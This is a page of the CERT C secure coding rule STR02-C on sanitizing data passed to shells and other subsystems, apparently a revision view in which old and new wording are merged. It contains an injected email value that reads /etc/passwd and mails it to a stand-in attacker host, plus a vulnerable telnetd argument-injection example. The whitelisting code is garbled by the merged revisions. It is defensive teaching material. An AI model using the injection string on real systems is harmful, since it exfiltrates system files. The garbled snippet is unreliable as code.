String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanitize all string data passed to complex subsystems including, but not limited to:so that the resulting string is innocuous in the context in which it will be interpreted.
These are some examples of complex subsystems:
- Command command processor via a call to
system()
or similar function - relational databases
- (also addressed in ENV03-C. Sanitize the environment when invoking external programs)
- External programs
- Relational databases
- Third-party commercial off-the-shelf components (for examplethird-party COTS components (e.g., an enterprise resource planning subsystem)
Noncompliant Code Example
Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application
that inputs an email address into to a buffer and then uses this string as an argument in a call to system()
[Viega 032003]:
Code Block | ||||
---|---|---|---|---|
| ||||
sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);
|
The risk is, of course, is that the user enters the following string as an email address:
Code Block |
---|
bogus@addr.com; cat /etc/passwd | mail some@badguy.net
|
For more information on the system()
call, see ENV03-C. Sanitize the environment when invoking external programs and ENV33-C. Do not call system().
Compliant Solution
It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. This Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammergrammar. In cases where there is no overlap, white listing whitelisting can be used to eliminate dangerous characters from the data.
The white listing whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. The following exampleThis compliant solution, based on the tcp_wrappers
package written by Wietse Venema, illustrates white listing shows the whitelisting approach:
Code Block | ||||
---|---|---|---|---|
| ||||
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\" "ABCDEFGHIJKLMNOPQRSTUVWXYZ\" "1234567890_-.@"; char user_data[] = "Bad char 1:} Bad char 2:{"; char *cp = user_data; /* cursorCursor into string */ for (cpconst char *end = user_data + strlen( user_data); for \*(cp \+= strspn(cp, ok_chars)); ); cp != end; cp += strspn(cp, ok_chars)) { *cp = '_'; } |
The benefit of white listing whitelisting is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. White listing Whitelisting is recommended over black listing because blacklisting, which traps all unacceptable characters as , because the programmer needs only needs to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.
...
.
Noncompliant Code Example
This noncompliant code example is taken from [VU#881872], a vulnerability in the Sun Solaris TELNET daemon (in.telnetd
) that allows a remote attacker to log on to the system with elevated privileges.
The vulnerability in in.telnetd
invokes the login
program by calling execl()
. This call passes unsanitized data from an untrusted source (the USER
environment variable) as an argument to the login
program:
Code Block | ||||
---|---|---|---|---|
| ||||
(void) execl(LOGIN_PROGRAM, "login",
"-p",
"-d", slavename,
"-h", host,
"-s", pam_svc_name,
(AuthenticatingUser != NULL ? AuthenticatingUser :
getenv("USER")),
0);
|
An attacker, in this case, can gain unauthenticated access to a system by setting the USER
environment variable to a string, which is interpreted as an additional command-line option by the login
program. This kind of attack is called argument injection.
Compliant Solution
This compliant solution inserts the "--"
(double dash) argument before the call to getenv("USER")
in the call to execl()
:
Code Block | ||||
---|---|---|---|---|
| ||||
(void) execl(LOGIN_PROGRAM, "login",
"-p",
"-d", slavename,
"-h", host,
"-s", pam_svc_name,
"--",
(AuthenticatingUser != NULL ? AuthenticatingUser :
getenv("USER")), 0);
|
Because the login
program uses the POSIX getopt()
function to parse command-line arguments, and because the "--"
option causes getopt()
to stop interpreting options in the argument list, the USER
variable cannot be used by an attacker to inject an additional command-line option. This is a valid means of sanitizing the untrusted user data in this context because the behavior of the interpretation of the resulting string is rendered innocuous.
The call to execl()
is not susceptible to command injection because the shell command interpreter is not invoked. (See ENV33-C. Do not call system().)
Risk Assessment
Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.
Recommendation | Severity | Likelihood | Remediation Cost | Priority | Level |
---|---|---|---|---|---|
STR02-C | High | Likely | Medium | P18 | L1 |
Automated Detection
Tool | Version | Checker | Description | ||||||
---|---|---|---|---|---|---|---|---|---|
Astrée |
| Supported by stubbing/taint analysis | |||||||
CodeSonar |
| IO. |
...
Component | Value |
---|---|
Severity | 2 (medium) |
Likelihood | 3 (likely) |
Remediation cost | 2 (medium) |
References
...
INJ.COMMAND | Command injection | ||||||||
Coverity | 6.5 | TAINTED_STRING | Fully implemented | ||||||
Klocwork |
| NNTS.TAINTED | |||||||
LDRA tool suite |
| 108 D, 109 D | Partially implemented | ||||||
Parasoft C/C++test |
| CERT_C-STR02-a | Protect against command injection | ||||||
Polyspace Bug Finder |
| Checks for:
Rec. partially covered. |
Related Vulnerabilities
Search for vulnerabilities resulting from the violation of this rule on the CERT website.
Related Guidelines
SEI CERT C++ Coding Standard | VOID STR02-CPP. Sanitize data passed to complex subsystems |
CERT Oracle Secure Coding Standard for Java | IDS00-J. Prevent SQL injection |
MITRE CWE | CWE-88, Argument injection or modification CWE-78, Failure to sanitize data into an OS command (aka "OS command injection") |
Bibliography
...
...